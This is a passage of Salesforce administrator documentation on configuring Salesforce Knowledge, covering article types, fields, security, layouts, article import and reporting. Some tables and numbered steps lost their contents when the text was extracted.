on page 1493. You'll still want to make sure that the users with direct publishing capability know which articles need approval
before publication.
Article approvers require the Manage Articles permission and at least the Read permission on the article type associated
with articles they review. These permissions let them access the article in a draft state. Without these permissions, approvers
can reassign but not approve articles.
Workflow rules and approval processes apply to the Draft to Publication portion of the article publishing cycle. Approval
processes aren't available for translation or archiving.
1473
Customize
Note: When an article is published from the edit page, the article is first saved and then published. Workflow
rules apply to the saved draft article but not the published article.
See Also:
Approval Processes Overview
Approval Process Considerations
Notes on Using Workflow Rules
Setting Up Salesforce Knowledge
Customize Application
Knowledge actions are templates that link a workflow action to an article type.
When knowledge actions are enabled, you can use them to link article types to specific workflow article actions, such as
publishing. For example, if you want to have each FAQ published as a new version each time it completes the approval process,
you can create a knowledge action that links the FAQ article type to the Publish as New action. Then, when you create
an approval process for FAQs, select the new Knowledge Action.
Note: When you create the approval process, make sure to change the final approval action to Unlock the record
for editing to let users publish the article.
To maximize memory usage when publishing large groups of articles, Salesforce may delay publication and adds the articles
to the publication queue. This happens when the number of articles and translations multiplied by the number of rich text
areas is greater than 100. You can view the publishing queue to check the status of the articles on the Automated Process
Actions page.
1. Click Your Name > Setup > Create > Workflow & Approvals > Knowledge Actions.
2. Click New Knowledge Action.
3. Select the article type for the action. The workflow rules and approval process that you associate with the action must
belong to the same article type.
4. Enter a unique name for the knowledge action.
5. Select the type of action you want to apply to the article type. For example, Publish as New publishes the article as a
new version.
6. Enter a description.
7. Click Save.
The Knowledge Action detail page appears showing you the rules and approval processes that use the knowledge action.
1474
Customize
8. When youre ready to use the knowledge action in an approval or workflow process, click Activate on the Knowledge
Action detail page.
See Also:
Creating Salesforce Knowledge Workflow Rules and Approval Processes
Customize Application
AND
Manage Salesforce Knowledge
To manage synonyms:
Manage Synonyms
Depending on how you want to customize Salesforce Knowledge, such as integrating the knowledge base with cases or giving
portal users access to articles, complete the following optional steps.
Set up workflow rules or approvals processes for some or all article types to help your organization manage article creation
and publication.
Enable multiple languages if your organization will translate and publish articles in more than one language.
If you have an existing knowledge base, import your articles into Salesforce Knowledge.
Enable Salesforce Knowledge in the Customer Portal to make articles visible to portal users.
Enable Salesforce Knowledge in the partner portal to make articles visible to portal users.
Create a synonym group to allow Salesforce Knowledge users to search for articles using synonyms as keywords.
Add the Articles related list to case page layouts. The Articles related list lets users search for articles while working on a
case. You can also allow case users to:
Attach PDF versions of articles to case emails.
Create articles when closing a case.
View a list of suggested articles based on case information.
To allow users to follow articles in Chatter, enable feed tracking for article types.
If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base
for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with
Salesforce Knowledge.
1475
Customize
Customize Application
Note: Before enabling Salesforce Knowledge, you must create at least one article type.
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. For more information, see Salesforce Knowledge Overview.
Click Your Name > Setup > Customize > Knowledge > Settings. If Salesforce Knowledge has not been enabled in your
organization, an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, you can configure the
following optional settings.
Allow users to create and edit articles from the Articles tab
If this checkbox is selected, users can create and edit articles from the Articles tab.
Activate the Validation Status field for articles
When you activate the Validation Status field, users can select values to show whether the content of the article
has been validated or not.
Allow users to add external multi-media content to the standard HTML editor
If this checkbox is selected, users can cut and paste <iframe> HTML to embed multi-media content from the following
sites: Dailymotion, Vimeo, and YouTube.
Choose the language(s) for your knowledge base
The Default Knowledge-Base Language should be the primary language used for writing articles. It defaults to
your organization's language.
If you will publish articles in more than one language, select Multiple Languages and choose the translation settings.
For instructions, see Setting up a Multilingual Knowledge Base on page 1514.
Show article summaries in article list views
For each channel, decide whether an article's Summary details should display on the Articles tab.
Allow users to create an article from a case
If this checkbox is selected, users can create a draft article that is attached to the case when the article is published using
one of the following options.
Create articles using the simple editor only when closing cases.
Create articles using the standard editor any time a user creates an article. Make sure that users have Manage Articles,
Read, and Create permissions.
1476
Customize
Select a default article type. For articles created when closing a case, assign the article to a user.
You can help agents create articles more quickly by selecting an Apex class that pre-populates any of the fields on the
draft. By default the Title field in all draft articles contains the case subject.
If you enable this option, also click Layout Properties on each case-close page layout and select Enable submissions
during case close and Submit Articles.
Use a profile to create customer-ready article PDFs on cases
By default, when a user creates an article PDF directly from a case, the PDF includes all the article fields visible to that
user. If you want PDFs to be generated according to a different profile, for example, a profile that hides certain fields
from customers, select Use a profile to create customer-ready article PDFs on cases and choose
the profile that should determine field visibility.
Allow users to create an article from a reply
If this checkbox is selected, members of an answers community or Chatter Answers community can convert helpful
replies into articles. The article type you select determines which fields appear on the draft article, but on all articles the
Title contains the question and the Summary contains the reply. After a reply is promoted to an article, the original
reply has a status message indicating its association with the draft article. When the article is published, the message on
the reply includes a link to the article.
See Also:
Salesforce Knowledge Overview
Setting Up Salesforce Knowledge
Salesforce Knowledge Terminology
Example Apex Customization for Submitting Articles from Cases
Customize Application
Author Apex
Note: You can add, edit, or delete Apex using the Salesforce user interface only in a Developer Edition organization,
a Salesforce Enterprise Edition trial organization, or sandbox organization. In a Salesforce production organization,
you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE, or the Force.com
Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com
to support its users and partners, but are not considered part of our Services for purposes of the salesforce.com Master
Subscription Agreement.
1477
Customize
If your organization allows customer-support agents to create Salesforce Knowledge articles while closing a case, you can use
Apex to pre-populate fields on draft articles. To do so, create an Apex class and assign it to the case article type using the
example below as a guide. For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
Set up the example by creating the following article type, field, and data categories. Do not change the default API Name
assigned to each new object.
1.
2.
3.
4.
4. On the Your Name > Setup > Customize > Knowledge > Settings page click Edit.
5. Verify the case settings; using our example, the Default article type should be FAQ.
6. From the Use Apex Customization menu, select AgentContributionArticleController and click Save.
As a result of this example, when agents create an article from the case-close screen:
The data from the Description field on the case appears in the Details field of the article.
The title of the article contains From Case: and the case subject.
1478
Customize
The article is automatically assigned to the USA data category and the Maintenance data category.
See Also:
Setting Up Salesforce Knowledge
Apex Code Overview
Customize Application
AND
Manage Salesforce Knowledge
When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You
can also create workflow rules and approval processes to help your organization track and manage article creation and publication.
See Workflow and Approvals Overview on page 1775 for more information.
After creating your article types, you can customize, edit, and delete them. Click Your Name > Setup > Customize > Knowledge
> Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization.
From the Article Types list page you can:
See Also:
Defining Article Types
Using the Fields Related List
Modifying Article-Type Layouts
Assigning Article-Type Templates
1479
Customize
Customize Application
AND
Manage Salesforce Knowledge
The first step when setting up Salesforce Knowledge is to create one or more article types. You cannot enable Salesforce
Knowledge until at least one article type is created.
When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel. You
can also create workflow rules and approval processes to help your organization track and manage article creation and publication.
See Workflow and Approvals Overview on page 1775 for more information.
Note: Before users can access article types, an administrator must set object permissions for article types. For more
information, see Object Permissions on page 586.
To create an article type:
1. Click Your Name > Setup > Customize > Knowledge > Article Types.
2. Click New Article Type or edit an existing article type.
3. Enter the following:
Field
Description
Label
Plural Label
The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender
1480
Customize
Field
Description
Object Name
Description
Deployment Status
4. Click Save.
5. On the article type detail page, complete the following information:
See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Assigning Article-Type Templates
Salesforce Knowledge Terminology
1481
Customize
Customize Application
On the Fields related list on the article-type detail page, you can:
Edit the Article Number, Summary, Title, and URL Name standard fields. These fields are required on all article
types and cannot be deleted.
Click New to create a custom field. All article types should have at least one rich text area field for writing article text and
a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review
the custom fields for article types.
Click Set History Tracking to track field updates for the article type.
Click Edit Layout to rearrange or remove fields and modify sections for the article type.
See Also:
Adding Custom Fields to Article Types
Custom Field Types on Articles
Modifying Article-Type Layouts
Setting an Article's Field-Level Security
Customize Application
AND
Manage Salesforce Knowledge
Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom
field you want to create. The only standard fields provided on article types are Article Number, Summary, Title, and
URL Name, so at minimum you'll want to create a field where authors can write the body of the article.
1482
Customize
Note: Authors can view the URL Name when they create or edit an article. The URL Name does not appear to end
users viewing published articles.
To add a custom field:
1.
2.
3.
4.
5.
Click Your Name > Setup > Customize > Knowledge > Article Types.
Select an article type.
Click New in the Fields related list.
Choose the type of field to create, and click Next.
Enter a field label. The field name is automatically populated based on the field label you enter. This name can contain
only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not
include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure the custom field name
is not identical to any standard field name for that object.
6. Enter any field attributes, such as Description, and click Next to continue.
Note: You cannot enter a default value for any custom field.
7. Set the field-level security to determine whether the field should be visible and editable or read only for specific profiles,
and click Next. Field-level security allows you to control which fields are visible in different channels.
8. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom
field to the layout.
9. Click Save to finish or Save & New to create more custom fields.
10. Optionally rearrange your custom fields on the article-type layout.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce may queue your request and send an email notification when the process has completed.
Caution: You will lose your data if you convert a custom field on an article type into any other field type. Do not
convert a custom field on an article type unless no data exists for the field.
See Also:
Changing Custom Field Type
Setting an Article's Field-Level Security
Modifying Article-Type Layouts
Assigning Article-Type Templates
Salesforce Knowledge Terminology
1483
Customize
Customize Application
AND
Manage Salesforce Knowledge
Field-level security lets administrators restrict users access to specific fields on detail and edit pages. For example, you can
make a Comment field in an article visible for Internal App profiles but not for Customer Portal profiles.
If using both article-type layout and field-level security to define field visibility, the most restrictive field access setting always
applies. For example, if a field is hidden in the article-type layout, but visible in the field-level security settings, the layout
overrides security settings and the field won't be visible. Some user permissions override both page layouts and field-level
security settings. For example, users with the Edit Read Only Fields permission can always edit read-only fields regardless
of any other settings.
Important: Field-level security doesn't prevent searching on the values in a field. To set up your organization to
prevent users from searching and retrieving records that match a value in a field hidden by field-level security, contact
salesforce.com Customer Support.
To define field-level security:
1. Define security via a permission set, profile, or field.
For fields:
a. Select Your Name > Setup > Customize > Knowledge > Article Types.
b. Select the article type that contains the field to modify.
c. Select the field and click Set Field-Level Security.
1484
Customize
Note: These field access settings override any less-restrictive field access settings on the article-type layouts.
3. Click Save.
After setting field-level security, you can modify the article-type layouts to organize the fields on detail and edit pages.
See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Salesforce Knowledge Terminology
Description
Date
Date/Time
File
1485
Customize
Field Type
Description
Picklist
Picklist (Multi-select)
Allows users to select more than one picklist value from a list
you define. These fields display each value separated by a
semicolon.
Text
Text Area
See Also:
Changing Custom Field Type
Salesforce Knowledge Terminology
Adding Custom Fields to Article Types
Customize Application
AND
Manage Salesforce Knowledge
You can track the history of certain fields in articles. Modifying any of these fields adds a new entry to the History related list.
All entries include the date, time, nature of the change, and who made the change. History data does not count against your
organizations storage limit. Note that not all field types are available for history tracking. You can also set tracking for the
1486
Customize
article type and track the full history of an article and its versions. Salesforce stores up to 1000 of the most current tracked
events per article.
The system records and displays field updates, publishing workflow events, and language versions for the master article and
any translations. When you track old and new values, the system records both values as well as the date, time, nature of the
change, and the user who made the change. When you track only the changed values, the system marks the changed field as
having been edited; it doesnt record the old and new field values. This information is available in the Version History list and
the fields are available in the Article Version History report.
Article history respects field, entity, and record-level security. You must have at least Read permission on the article type or
the field to access its history. For data category security, Salesforce determines access based on the categorization of the online
version of an article. If there is no online version, then security is applied based on the archived version, followed by the security
of the draft version.
1.
2.
3.
4.
5.
See Also:
Tracking Field History
Customize Application
AND
Manage Salesforce Knowledge
Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine
which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs
or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose
a different template for each of the article type's four channels.
Tip: You can also use field-level security to hide fields on article types. For example, if you publish the same article
in the internal app and the Customer Portal, you may want to use field-level security to hide a custom field such as
Internal Comments from Customer Portal users.
To modify an article-type layout:
1487
Customize
1.
2.
3.
4.
Click Your Name > Setup > Customize > Knowledge > Article Types.
Select one of the article types in the list.
In the Fields related list, click Edit Layout.
When working on the layout:
The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion
of the screen. The palette contains the available fields and a section element. The layout contains an Information section
and space for you to add sections. By default, all custom fields are included in the Information section.
Note: The Article Number, Summary, Title, and URL Name standard fields do not display in the layout.
Article Number and Summary appear in a read-only Properties section at the top of the published article.
Also included in this header are the First Published, Last Modified, and Last Published fields.
To add a new section, drag and drop the section element into the palette.
To change the name of a section, click its title. You cannot rename the Information section.
To remove a field from a section, drag it to the right side of the palette or click the
To remove a section from the article-type layout, click the icon next to the section name.
Use the undo and redo buttons to step backwards and forwards, respectively.
Use the following keyboard shortcuts:
Undo = CTRL+Z
Redo = CTRL+Y
Quick Save = CTRL+S
To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type
layouts that have large numbers of items available in the palette.
To save your changes and continue editing the article-type layout, click Quick Save.
To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from
your article-type layout before clicking save, your changes will be lost.
See Also:
Defining Article Types
Adding Custom Fields to Article Types
Setting an Article's Field-Level Security
Assigning Article-Type Templates
1488
Customize
Click Your Name > Setup > Customize > Knowledge > Article Types.
Click a label to view the article-type detail page.
In the Channel Displays related list, click Edit.
For each channel, specify the template.
1489
Customize
For the internal app and the portals, Tab is the default template. For the public knowledge base, Table of Contents is the
default template. If your organization has a custom template for this article type, it also appears in the drop-down menu.
5. Click Save.
See Also:
Modifying Article-Type Layouts
Defining Article Types
Salesforce Knowledge Terminology
Customize Application
AND
Manage Salesforce Knowledge
1490
Customize
</apex:page>
Note: Click Component Reference for a list of the Visualforce components, such as
knowledge:articleRendererToolbar and knowledge:articleCaseToolbar, available for use in
custom article-type templates.
8. If your article type has a File field, you can allow users to download the field's content. In the following example, the article
type is Offer, the name of the File field is my_file, and the text that appears as a link is Click me:
<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload,
Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click
me</apex:outputLink>
Note: If the File field is empty (meaning the author didn't upload a file), the link still appears on the published
article but has no function. If you do not want the link to appear when the File field is empty, replace Click me
in the example with the name of the file, for example, {!Offer__kav.my_file__Name__s}.
9. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type
Templates on page 1489 for details.
See Also:
Developer's Guide: Visualforce Developer's Guide
Managing Visualforce Pages
Managing Article Types
Salesforce Knowledge Terminology
Customize Application
AND
Manage Salesforce Knowledge
1491
Customize
If your organization has only article type, you cannot delete it. Every Salesforce Knowledge org requires at least one deployed
article type. Create a new article type and then delete the old one.
Any articles associated with a deleted article type are automatically removed from all channels. This includes draft, published,
and archived articles.
Salesforce does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article types
appear in the Deleted Article Types list on the article list view page for 15 days. During this time you can restore the article
type and its articles, or permanently erase the article type and its articles. After 15 days, the article type and its articles are
permanently erased.
If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.
See Also:
Defining Article Types
Salesforce Knowledge Terminology
Customize Application
AND
Manage Salesforce Knowledge
This page enables you to add or edit article validation statuses for article types.
When the Validation Status field is enabled on the Knowledge Settings page, you can create picklist values that show
the state of the article in the article publication lifecycle. For example, values in the article lifecycle could be Validated,
Not Validated, or Needs Review.
Note: Validation status picklist values arent retained when you export articles for translation. Articles with picklist
values can be imported, however, and their values are retained as long as the values exist in your organzation.
1. Click Your Name > Setup > Customize > Knowledge > Validation Statuses.
2. On the picklist edit page, click New to add new values to the validation status field. You can also edit , delete, reorder, and
replace picklist values.
When you replace a picklist value, the system replaces it in all versions of the article, including any archived versions.
3. Add one or more picklist values (one per line) in the text area.
4. To set the value as the default for the picklist, be sure to select the Default checkbox.
1492
Customize
5. Click Save.
See Also:
Managing Articles and Translations
Customize Application
AND
Manage Users
AND
Manage Salesforce Knowledge
Article actions allow users to manage the article publishing and translation processes. By default all article actions are assigned
to users with the Manage Articles user permission, and users can complete an action as long as they also have the correct
article type permissions (as described in the table below). You can set up more granular control of article actions by restricting
them to public groups.
This table summarizes the article type permissions that are required for each article action.
Article Action
Create
Read
Edit
Delete
Publish Articles
Archive Articles
Delete Articles
Edit Published and Archived Articles
Submit Articles for Translation
Publish Translation
Edit Translation
1493
Customize
Note: Although you can add any Salesforce user to a public group, only users with the Manage Articles user
permission and the appropriate object permissions can perform article actions.
2. Click Your Name > Setup > Customize > Knowledge > Article Actions and decide which users need to perform which
actions. For example, you might decide that a group named Publishers needs to publish, archive, and delete articles and
that a group named Translators needs to submit articles for translation and publish and archive translated articles.
3. Assign the public groups to article actions:
a. On the Your Name > Setup > Customize > Knowledge > Article Actions page click Edit.
b. For the action you want to modify, select the appropriate radio button and choose a public group. If you don't modify
an article action, all users with the Manage Articles permission can perform that action.
c. Click OK and Save.
See Also:
Creating and Editing Groups
Setting Up Salesforce Knowledge
User Permissions
Defining Article Types
1494
Customize
Importing Articles
Importing Articles
Available in: Enterprise, Unlimited, and Developer Editions
To view articles:
To create articles:
You can import your existing articles and their translations into Salesforce Knowledge. This importer is for articles and
translations you currently have outside Salesforce Knowledge.
Note: If you are looking for instructions on importing translated articles that you've sent to a localization vendor, see
Importing Article Translations on page 1506.
After setting up Salesforce Knowledge, complete the tasks below to import articles:
1.
2.
3.
4.
5.
See Also:
Salesforce Knowledge Overview
Setting Up Salesforce Knowledge
1495
Customize
Importing Articles
To view articles:
To create articles:
See Also:
Importing Articles
Create a .csv File for Article Import
1496
Customize
Importing Articles
To view articles:
To create articles:
Each .csv file imports articles into one article type and maps the imported articles' content with the article type's fields. For
example, a .csv file might map articles' titles with the standard field Title in an article type, meaning that each article's title
is imported into the Title field.
1. Create one .csv file per article type.
.csv files cant have more than 10,000 rows, including the header row.
.csv file rows cant exceed 400,000 characters.
.csv file cells cant exceed 32 KB.
Each article in the .csv file cant have more than 49 translations.
2. In the first row, specify the article type's fields and metadata (such as language data categories or channels). Enter one item
in each column. You can use the following fields and metadata to import content:
isMasterLanguageidentify the article as a master (1) or translation (0). Required to import articles with translations,
however, it cant be in a .csv file to import articles without translations. Translations must follow their master articles
so that they are associated with the master article preceding it.
Titlethe article or translations title. Required for all imports.
Standard or custom fieldsrefer to an article type's standard fields using field names and refer to custom fields using
API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory.
Rich text area fielduse the rich text area custom fields to import .html files or images. Refer to an article type's rich
text area field using its API name.
1497
Customize
Importing Articles
File fielduse the file custom fields to import any file type (.doc, .pdf, .txt, etc.). Refer to an article type's file field
using its API name.
To categorize the imported articles, use category groups; refer to a category group using its unique name prefixed with
datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products.
To specify where the imported articles are available, use the keyword Channels.
Languagespecify the articles' language. Required to import articles with translations. Optional to import articles
without translations. If you don't include this column, the articles will automatically belong to the default knowledge
base language and you cant import translations along with the master articles.
3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information
in each article type field column or metadata column.
Standard or custom fieldsenter the articles' data for each field, except for rich text area fields where you must enter
the relative path to the corresponding .html file in your .zip file.
Rich text area fieldalways enter the .html file path relative to the location of the .csv file. Never enter raw text. If the
specified path doesn't exist, the related article isn't imported. Note the following information about importing HTML
and images:
We recommend that you create separate folders for the .html files (for example, /data) and the images (for example,
data/images).
To import images, include the images in an .html file using the <img> tag and src attribute. Ensure that the src
value is a relative path from the .html file to the image folder.
Images must be .png, .gif, or .jpeg files.
Each image file cant exceed 1 MB.
.html files cant exceed the maximum size for their field.
If a date doesn't match the date format specified in the property file, the related article isn't imported.
If an .html file references a file that isn't allowed, the related article isn't imported.
If an .html file references an image that's missing, the related article is imported without the image.
File fieldenter the path relative to the file's location. If the specified path doesn't exist, the related article isn't imported.
Note the following information about importing files:
We recommend that you create a folder for your files (for example, /files).
Each file must not exceed 5 MB.
Category groupsuse category unique names to categorize articles. Use the plus symbol (+) to specify more than one
category. For example, Laptop+Desktop. Note the following information about data category groups:
Leaving the cell row empty causes your article to be set to No Categories.
If you specify a category and its parent (for example, Europe+France) the import process skips the child category
France and keeps the parent category Europe, because application of a parent category implicitly includes the
category's children.
When importing articles with translations and associated data categories, only the master article retains the data
categories. The article translations have no associated data category upon import.
1498
Customize
Importing Articles
The following example .csv files import articles in a Product Offer article type. The first example is for imports of articles
without translations. The second is for imports with translations. The .csv files contain titles, summaries, and descriptions.
They also classify the articles in the category group Products and make them available for specific channels. The
description__c field is a rich text area and only supports paths to .html files. The summary__c field is a text field and
only supports raw text. The Best Desktop Computer Deals article has no summary; the cell is left blank because the
summary__c field is not mandatory.
Title
summary__c
description__c
datacategorygroup
.Products
Channels
data/freecam.html
Best Desktop
Computer Deals
data/bestdeals.html
Desktop
application+csp
Free Shipping on
Laptop and Desktops
data/freeship.html
Laptop+Desktops
application+csp
Title
summary__c
fr
es
data/bestdeals.html
Meilleures Affaires
d'ordinateurs de bureau
data/bestdeals/fr.html
fr
Mejores Tratos de
ordenadores
data/bestdeals/es.html
es
description__c
datacategorygroup
.Products
Channels
Language
data/freecam.html
Consumer_ Electronics
application
+csp
en_US
data/freecam/es.html
Desktops
application
+csp
en_US
1499
Customize
Importing Articles
isMaster
Language
Title
summary__c
description__c
datacategorygroup
.Products
Channels
Language
data/freeship.html
Laptops+ Desktops
application
+csp
en_US
Librer Affranchissement
sur Portables et
Ordinateurs
data/freeship/fr.html
fr
Liberte Franqueo en
Laptops y Ordenadores
data/freeship/es.html
es
See Also:
Importing Articles
Prepare Articles for Import to Salesforce Knowledge
Specify Parameters for Article Import
1500
Customize
Importing Articles
To view articles:
To create articles:
Manage Articles
AND
Read and Create on the article type
Specify import parameters in a property file using key names and corresponding values. For example, use the key DateFormat
to specify that a date custom field appears in the DateFormat=dd/MM/YYYY format or specify the character encoding to be
used for the import.
Create a file with the .properties extension and specify the required parameters, as described in this table.
Key
Description
Default Value
DateFormat
DateTimeFormat
CSVEncoding
CSVSeparator
RTAEncoding
1501
Customize
Importing Articles
Key
Description
Default Value
Note: You must specify only Java date formats. Make sure the date format is not misleading. For example, if you
choose the format yyyy-M-d, a date entered as 2011111 can be interpreted as 2011-01-11 or 2011-11-01. Specify at
least :
If a date in the .csv file does not match the date format specified in the property file, the related article is not imported.
Example offerarticlesimport.properties property file:
DateFormat=yyyy-MM-dd
DateTimeFormat=yyyy-MM-dd HH:mm:ss
CSVEncoding=ISO8859_15_FDIS
CSVSeparator=,
RTAEncoding=UTF-8
See Also:
Importing Articles
Create a .csv File for Article Import
Create a .zip File for Article Import
1502
Customize
Importing Articles
To view articles:
To create articles:
There can only be one .csv file and one .properties file.
The .csv file and the .properties file must be in the root directory.
The compression process must preserve the folder and subfolder structure.
The .zip file cant exceed 10 MB and the uncompressed files cant exceed 100 MB.
.csv files cant have more than 10,000 rows, including the header row.
.csv file rows cant exceed 400,000 characters.
.csv file cells cant exceed 32 KB.
Each article in the .csv file cant have more than 49 translations.
1503
Customize
Importing Articles
See Also:
Importing Articles
Specify Parameters for Article Import
View Salesforce Knowledge Import and Export Status
To view articles:
To create articles:
To check the status of your imports and exports, click Your Name > Setup > Monitoring > Article Imports and Exports. If
you've enabled multiple languages for Salesforce Knowledge, you see two tables: one for article and translation imports and
another for exports for translation.
Import information includes:
Possible actions
1504
Customize
Importing Articles
Possible actions
Zip file names
Who submitted it and when
Status
Started and completed dates
Description
Possible Action
Pending
The import or export will start as soon You can click Cancel to cancel the import
as the previous pending import or export or export.
completes.
Processing
Stopping/Stopped
Aborted
Completed
See Also:
Importing Articles
1505
Customize
To view articles:
To create articles:
You can only import articles that have been exported from the same Salesforce organization. For example, you can't export
articles from your test or sandbox organization and import them into your production organization.
You must place all the translation files (meaning, those exported from Salesforce and translated by your vendor) in a folder
whose name is the same as the language code. For example, put French articles in an fr folder. Zip up this folder to create
your import file.
To import translated articles successfully, verify that the file structure and their extensions match the file structure and
extensions of files exported from Salesforce Knowledge for translation. For example, if the target language is French, the
file structure begins as follows:
import.properties
-fr
--articletypearticlename_kav
---articlename.csv
---[Article collateral, html, images, etc.]
1506
Customize
Reporting on Articles
Option
Description
Review imported translations on the Article Add imported translations to a queue from which users can
Management tab before publishing
review them.
Publish translations immediately on import Publish imported translations without reviews.
See Also:
Setting up a Multilingual Knowledge Base
Exporting Articles for Translation
Reporting on Articles
Available in: Enterprise, Unlimited, and Developer Editions
As an administrator, you can create custom report types so users can create reports about Salesforce Knowledge articles. Custom
report types are the only way to make reports about articles available for your usersSalesforce does not provide sample article
reports or a standard report folder for articles.
Tip: The Knowledge Base Dashboards and Reports AppExchange package provides over two dozen reports that help
you monitor the knowledge base and analyze usage metrics.
The following sections explain how to define custom report types, create a public folder that appears on the Reports tab, and
add custom reports to the folder so users can easily access article reports. Field definitions for article reports and a list of tips
are also provided.
1507
Customize
Reporting on Articles
Knowledge ArticlesSelect if you want to compare information about individual articles, such as their creation dates,
published channels, and number of associated cases. If you choose this custom report type, you can also include article
view and vote statistics.
Custom article typesSelect if you want to compare information such as creation dates, published channels, and
number of associated cases for a custom article type like an FAQ. Be sure to add the custom article types version as a
secondary object to access any custom fields for the custom article type.
Knowledge Article SearchesSelect if you want to analyze the number of searches per day, month, or year for each
channel and role.
Knowledge Article VersionSelect if you want to compare information about individual translations, such as their
creation dates, published channels, and number of associated cases. If you choose this custom report type, you can also
include article view and vote statistics.
Knowledge Article ViewsSelect if you want to analyze the number of views per day, month, or year for each channel
and role.
Knowledge Article VotesSelect if you want to analyze the number of votes per day, month, or year for each channel
and role.
Knowledge Keyword SearchSelect if you want to see which keywords have been used to search the knowledge base.
In the Report Folder section of the Reports tab, click Create New Folder.
Enter Article Reports in the Folder Label field.
Modify the Group Unique Name if needed.
Choose a Public Folder Access option. Select read/write if you want users to be able to add and remove reports.
Choose a folder visibility option and click Save.
1508
Customize
Reporting on Articles
Tip: The Cases with Articles report is available by default in the Customer Support Reports folder.
Description
Article Number
Channel
Channel applicable to the given record; possible values include All Channels, Internal
App, Customer Portal, Partner Portal, and Public Knowledge Base. In reports using the
Knowledge Articles custom report type, each article has five records (rows): one for each
channel.
Count
Depending on the report, the number of votes, views, or searches applicable to the duration
shown (Day, Month, Year).
Created Date
Date the article was drafted. If the article has been published more than once, this is the
original draft date.
Cumulative Count
Depending on the report, the total votes, views, or searches for the record.
Date
Last date on which activity took place for the record. All records (rows) represent a date,
channel, and role combination.
Duration
Depending on the report, indicates whether votes, views, or searches are a daily, monthly,
or yearly aggregation.
Found
Indicates whether the keyword shown was found during a search of the knowledge base.
Is Master Language
Indicates that the article is not a translation, but the original article.
Keyword
Master Language
1509
Customize
Reporting on Articles
Field
Description
Out of Date
Indicates that the master article has been updated since this translation was published.
Publication Status
Related Role
Name of the role that applies to the record. In reports using the Knowledge Article Votes,
Knowledge Article Views, and Knowledge Article Searches custom report types, each
record (row) in the report represents votes, views, or searches per channel per role.
Score
Article's average rating on a scale of 1 to 5. Note that scores take into account a half-life
calculation. Every 15 days, if an article has not received a new vote its average rating
moves up or down. This change ensures that over time, older or outdated articles don't
maintain artificially high or low ratings compared to newer, more frequently used articles.
Articles without recent votes trend towards an average rating of three stars.
Summary
Title
Article title.
Total Sum
The total score for an article including the points from all votes. Each vote provides a
number of points:
1 Star is 10 points
2 Stars is 5 points
3 Stars is 0 points
4 Stars is +5 points
5 Stars is +10 points
Total Views
Total Votes
Translation Completed
Date
Translation Exported Date Date the article was exported for translation.
Translation Imported Date Date the translation was imported.
URL Name
Visible in Customer
Portal
Indicator that the article is published in the internal app (Articles tab).
Visible in Partner Portal Indicator that the article is published in the partner portal.
Visible in Public
Knowledge Base
Create a Knowledge Keyword Search report to determine which terms users are looking for in your knowledge base.
In reports using the Article custom report type, you will have at least five rows per article (one for each channel, including
All Channels).
1510
Customize
In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report
types, each row represents a day, channel, and role combination. For example, if a user with the Kingmaker role views
articles in the internal app and the next day the same user views more articles in the internal app, the Article Views report
has two rows: one for each unique date.
In reports using the Knowledge Article Votes, Knowledge Article Views, or Knowledge Article Searches custom report
types, the Count indicates the number of votes, views, or searches for the duration shown (Day, Month, or Year). The
Cumulative Count is the grand total for the history of the record.
An article's score (rating) uses a half-life calculation. Every 15 days, if an article has not received a new vote its average
rating moves up or down. This change ensures that over time, older or outdated articles don't maintain artificially high or
low ratings compared to newer, more frequently used articles. Articles without recent votes trend towards an average rating
of three stars.
If you want to report on highest-rated articles without taking into account the decay factored into the Score field, use
the Total Sum field.
See Also:
Custom Report Types Overview
Setting Up Custom Report Types
Creating a Custom Report
Customize Application
Feed tracking for Salesforce Knowledge articles is enabled by article type rather than article. To enable feed tracking for article
types:
1. Click Your Name > Setup > Customize > Chatter > Feed Tracking.
2. Select an article type. Each article type appears by name in the Object list. For example, if your organization has three
article types named Offer, FAQ, and Warranty, all three appear alphabetically in the Objects list.
3. Select Enable Feed Tracking, then click Save when you're done with the page.
Unlike other objects, individual fields on article types are not tracked. Instead, changes to publication status trigger updates.
Specifically, when you follow an article (meaning you've clicked Follow on the published article), posts about that article
on your Home tab feed occur:
